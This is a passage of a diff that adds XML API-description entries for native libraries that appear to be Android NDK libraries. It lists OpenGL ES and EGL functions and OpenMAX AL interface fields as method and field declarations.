+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawElementsIndirect" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetUniformfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetVertexAttribiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform1uiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniformMatrix2fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindBufferBase" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetGraphicsResetStatus" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCompressedTexSubImage3D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenSamplers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenTextures" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetActiveAttrib" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexSubImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCompileShader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawElementsInstanced" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetActiveUniformBlockiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindRenderbuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPixelStorei" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClearDepthf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetActiveUniformBlockName" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendBarrier" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendColor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteShader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDepthMask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenRenderbuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsEnabledi" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glSamplerParameterIuivEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenVertexArraysOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMinSampleShadingOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteQueries" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEGLImageTargetRenderbufferStorageOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteVertexArraysOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramInfoLog" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEndTransformFeedback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetMultisamplefv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetBooleani_v" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPushDebugGroupKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexBufferEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glColorMaski" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetSamplerParameterIivEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glObjectLabel" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetUniformBlockIndex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexBindingDivisor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenVertexArrays" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetnUniformfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPauseTransformFeedback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform1f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glWaitSync" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteProgramPipelines" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform4iv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform1i" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetQueryObjectuiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsQuery" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendFuncSeparateiEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCompressedTexImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindAttribLocation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glInvalidateFramebuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTransformFeedbackVaryings" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCheckFramebufferStatus" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsSampler" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniformMatrix2x3fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLineWidth" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform1ui" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glReadnPixels" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform3iv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClearStencil" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glShaderBinary" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glColorMaskiEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glReadBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glStencilFunc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexSubImage3D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniformMatrix3fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsSync" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenerateMipmap" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramBinaryOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMapBufferRange" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramResourceName" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteTransformFeedbacks" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendFuncSeparate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDisablei" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetBufferPointervOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glStencilFuncSeparate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteBuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetBufferPointerv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramInterfaceiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexSubImage3DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniformMatrix3x2fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glSampleCoverage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexStorage3DMultisampleOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetVertexAttribPointerv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetAttribLocation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBufferSubData" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glSamplerParameterIuiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glValidateProgram" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendEquationSeparatei" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPolygonOffset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform2f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform4uiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEGLImageTargetTexture2DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferTexture2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetDebugMessageLog" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform2i" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindProgramPipeline" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenQueries" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindBufferRange" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetSamplerParameterIiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPrimitiveBoundingBoxEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCompressedTexImage3D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexParameterIuivEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetInteger64i_v" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramBinary" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="libegl.so" static="false" visibility="public">
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglTerminate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglGetCurrentSurface" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglWaitGL" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglCreateStreamProducerSurfaceKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglGetNativeClientBufferANDROID" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglMakeCurrent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglCreatePbufferFromClientBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglSwapBuffersWithDamageKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglWaitNative" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglSwapInterval" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglStreamConsumerAcquireKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglCreateNativeClientBufferANDROID" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglQueryContext" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBEGL" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglGetError" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglQueryStreamKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglQueryString" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglGetConfigAttrib" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglCreateImageKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglDestroyContext" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglGetSyncAttribKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglInitialize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglGetDisplay" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglCreateContext" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglCreateStreamFromFileDescriptorKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglDestroySyncKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglSwapBuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglCopyBuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglDestroyStreamKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglQueryStreamTimeKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglReleaseTexImage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglGetProcAddress" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglWaitSyncKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglDestroyImageKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglBindTexImage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglBindAPI" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglPresentationTimeANDROID" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglCreateSyncKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglCreatePixmapSurface" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglClientWaitSyncKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglDestroySurface" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglCreatePbufferSurface" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglStreamConsumerGLTextureExternalKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglGetCurrentDisplay" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglGetSystemTimeNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglLockSurfaceKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglCreateStreamKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglSurfaceAttrib" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglGetStreamFileDescriptorKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglReleaseThread" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglChooseConfig" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglGetCurrentContext" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglGetSystemTimeFrequencyNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglCreateWindowSurface" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglSignalSyncKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglQueryAPI" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglSetDamageRegionKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglStreamAttribKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglStreamConsumerReleaseKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglGetConfigs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglQueryStreamu64KHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglWaitClient" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglUnlockSurfaceKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglQuerySurface" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="libopenmaxal.so" static="false" visibility="public">
+ <field deprecated="not deprecated" final="true" name="XA_IID_AUDIOENCODER" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_AUDIOIODEVICECAPABILITIES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_METADATATRAVERSAL" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_VIDEOPOSTPROCESSING" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_STREAMINFORMATION" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_VIBRA" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="xaCreateEngine" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_CONFIGEXTENSION" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_DEVICEVOLUME" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_ANDROIDBUFFERQUEUESOURCE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_VIDEOENCODERCAPABILITIES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_DYNAMICINTERFACEMANAGEMENT" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_PREFETCHSTATUS" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_OUTPUTMIX" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_IMAGEEFFECTS" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_IMAGEENCODERCAPABILITIES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_SNAPSHOT" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_OBJECT" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_RADIO" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_METADATAINSERTION" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_CAMERA" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_AUDIOENCODERCAPABILITIES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_PLAYBACKRATE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_RECORD" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_VIDEODECODERCAPABILITIES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="LIBOPENMAXAL" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_EQUALIZER" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_NULL" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_VOLUME" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_IMAGEDECODERCAPABILITIES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_THREADSYNC" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_LED" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_ENGINE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_VIDEOENCODER" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_IMAGECONTROLS" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_METADATAEXTRACTION" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_SEEK" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_DYNAMICSOURCE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_PLAY" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_RDS" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_AUDIODECODERCAPABILITIES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_CAMERACAPABILITIES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="xaQuerySupportedEngineInterfaces" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_IMAGEENCODER" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
